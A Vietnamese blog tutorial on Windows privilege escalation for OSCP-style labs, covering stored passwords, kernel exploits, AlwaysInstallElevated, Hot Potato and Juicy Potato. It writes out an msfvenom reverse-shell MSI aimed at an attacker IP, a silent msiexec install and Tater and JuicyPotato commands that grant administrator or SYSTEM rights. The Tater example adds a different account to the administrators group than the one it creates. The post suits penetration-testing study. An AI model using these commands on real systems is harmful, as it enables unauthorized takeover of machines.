Giới thiệu

Gần một tháng trước mình có public 1 bài Leo thang đặc quyền trong Windows - Windows Privilege Escalation #1: Service Exploits . Để tiếp tục series này, nay mình viết tiếp các cách khai thác đặc quyền trên Windows.

Bài viết hướng đến cho mọi người cách nhìn tổng quan về leo quyền trên Windows, các bạn có thể gặp nó trong các cuộc thi như OSCP, OSWE, các labs trên hackthebox.eu hay Vulnhub, …

Bài viết này được dựa theo khoá học Windows Privilege Escalation for OSCP & Beyond! trên UdemyWindows / Linux Local Privilege Escalation Workshop của sagishahar.

Stored Credentials

Password

Nguyên nhân

Đôi khi việc leo thang đặc quyền nó dễ như việc tìm thấy mật khẩu của Administrator, và đôi khi có một số vị trí và vài phương pháp phổ biến để tìm kiếm mật khẩu trên Windows. Chúng ta có thể tìm thấy trong registry hoặc trong các file trong hệ thống có chứa username và password

Khai thác

Vậy khi có username và password rồi thì có thể switch sang user đó theo bài viết mình đã viết tại
Làm thế nào để chuyển đổi tài khoản trên Windows (How do I switch users in Windows)?

Mình đánh giá kiểu khai thác này vừa dễ vừa khó, dễ là có thể tìm được ngay password của Administrator, còn khó là việc tìm password Administrator được giấu rất kỹ và giải mã rất lằng nhằng thì nó quả thực là rất khó.

Ví dụ 1: https://www.youtube.com/watch?v=UJ3rK8PyY_w

Ví dụ 2: https://www.youtube.com/watch?v=2fF4Xre-w2g

Ví dụ 3: https://www.youtube.com/watch?v=sm9xgpgaEQw

Kernel Exploits

Windows Kernel Exploitation

Nguyên nhân

Với việc OS được update thường xuyên thì việc khai thác qua kernel dường như là bất khả thi, tuy nhiên chúng ta vẫn cần kiểm tra Kernel của Windows. Có thể sử dụng Watson để kiểm tra xem có lỗ hổng nào chưa được vá. Watson đã được tích hợp bên trong winPEAS rồi. Trong trường hợp phát hiện ra lỗ hổng nào với kernel, sử dụng kho lưu trữ https://github.com/SecWiki/windows-kernel-exploits để kiểm tra và khai thác. Nếu cần biên dịch code C thì có thể sử dụng Kali để biên dịch rồi upload lên machine

Hoặc cũng có thể sử dụng Windows-Exploit-Suggester bằng cách lưu lại systeminfo rồi chạy đoạn mã này sẽ cho ra được những gợi ý để khai thác Kernel. Tuy nhiên, với khá nhiều lỗi Kernel đến từ Windows, việc khai thác này rất mất thời gian vì mỗi lần chạy Windows-Exploit-Suggester mình được nó gợi ý ra khoảng 100 cái mã khai thác, thật là đáng sợ :'(

Khai thác

Ví dụ: https://medium.com/@ranakhalil101/hack-the-box-granny-writeup-w-o-and-w-metasploit-f7a1c11363bb Ví dụ 2: https://youtu.be/HTM-BavQvs4

Options Install Windows

Always Install Elevated

Nguyên nhân

Windows có thể cho phép low privilege users có quyền cài đặt Microsoft Windows Installer Package (MSI) với quyền SYSTEM bởi AlwaysInstallElevated group policy.

Khai thác

Sử dụng đặc quyền được cài đặt MSI của users quyền thấp, attacker có thể tạo một chương trình MSI chứa payload độc hại để leo lên quyền SYSTEM.

Kiểm ra việc AlwaysInstallElevated có được bật với user hiện tại, sử dụng winPEAS.exe

Sử dụng msfvenom để tạo payload với format file MSI

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=8080 -f msi -o evil.msi

Đẩy file evil.msi lên machine và sử dụng câu lệnh sau để cài đặt

1
msiexec /quiet /qn /i C:\temp\evil.msi

(Nhớ trước khi cài đặt thực hiện lắng nghe trên cổng đã khai báo)

Ví dụ video: https://youtu.be/9LpsofQN_ao

Scheduled Tasks

Nguyên nhân

Các chương trình được lập lịch (scheduled) được khai thác giống với Linux (khai thác với crontab), việc khai thác với Scheduled Tasks khá là khó khăn, tuy nhiên nếu có thể tìm thấy một tệp hoặc chương trình nào đó đang chạy như một phần của tác vụ theo scheduled thì vẫn có thể leo thang đặc quyền.

Khai thác

Việc khai thác thì cũng tùy vào những case cụ thể. Ví dụ 2 trường hợp bên dưới:

https://www.youtube.com/watch?v=J-GlK59M0Yw

https://youtu.be/Kgga91U3B4s

Hot Potato

Nguyên nhân

Là một lỗi trong Windows, khai thác qua NTLM relay (specifically HTTP->SMB relay) và NBNS spoofing. Cụ thể cách khai thác được viết đầy đủ tại https://github.com/foxglovesec/Potato

Khai thác

Sử dụng module Tater được download tại https://github.com/Kevin-Robertson/Tater để khai thác. Thực hiện khởi động powershell noprofile

1
powershell -ep bypass -nop

Import module Tater

1
Import-Module .\Tater.ps1

Gọi function Tater để tiến hành khai thác

1
Invoke-Tater -Trigger 1 -Command "net user user /add && net localgroup administrators tater /add"

Khai thác xong tiến hành kiểm tra tài khoản user đã được thêm vào group Administrator hay chưa

Hoặc có thể thay đổi câu command net user user /add && net localgroup administrators tater /add thành thực thi file reverse exe cũng được, lúc đó chúng ta sẽ có SYSTEM.

Juicy Potato (abusing the golden privileges)

Nguyên nhân

Các bạn có thể đọc nguyên nhân tại sao và do đâu ở đây Rotten Potato – Privilege Escalation from Service Accounts to SYSTEM

Để phát hiện ra lỗi này, các bạn có thể chạy lệnh whoami /all để kiểm tra xem mode SeImpersonate hoặc SeAssignPrimaryToken đang được bật hay không.
Sau đó, chúng ta có thể lạm dụng một vài cổng COM với CLSID có thể lên được quyền SYSTEM.

Khai thác

  • Sử dụng file binary download tại https://github.com/ohpe/juicy-potato/releases

  • Upload file JuicyPotato.exe lên machine.

  • Lấy mã CLSID tuỳ thuộc vào OS có tại Windows CLSID

  • Sử dụng

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    
    - T:\>JuicyPotato.exe
    JuicyPotato v0.1
    
    Mandatory args:
    -t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
    -p <program>: program to launch
    -l <port>: COM server listen port
    
    
    Optional args:
    -m <ip>: COM server listen address (default 127.0.0.1)
    -a <argument>: command line argument to pass to program (default NULL)
    -k <ip>: RPC server ip address (default 127.0.0.1)
    -n <port>: RPC server listen port (default 135)
    -c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
    -z only test CLSID and print token's user
    
  • Ví dụ: Machine của bạn là Win 7 Enterprise ta lấy được mã CLSID là {555F3418-D99E-4E51-800A-6E89CFD8B1D7}, sử dụng JuicyPotato.exe.

    ./JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {555F3418-D99E-4E51-800A-6E89CFD8B1D7}

    Có thể thay c:\windows\system32\cmd.exe bằng file reverse shell exe để lấy SYSTEM.

Kết

Vậy là mình đã trình bày các cách leo thang đặc quyền trên Windows, còn một vài cách lên SYSTEM trên Windows nữa khai thác Active Directory dự định mình sẽ viết vào bài sau. Cảm ơn bạn đọc đã theo dõi :).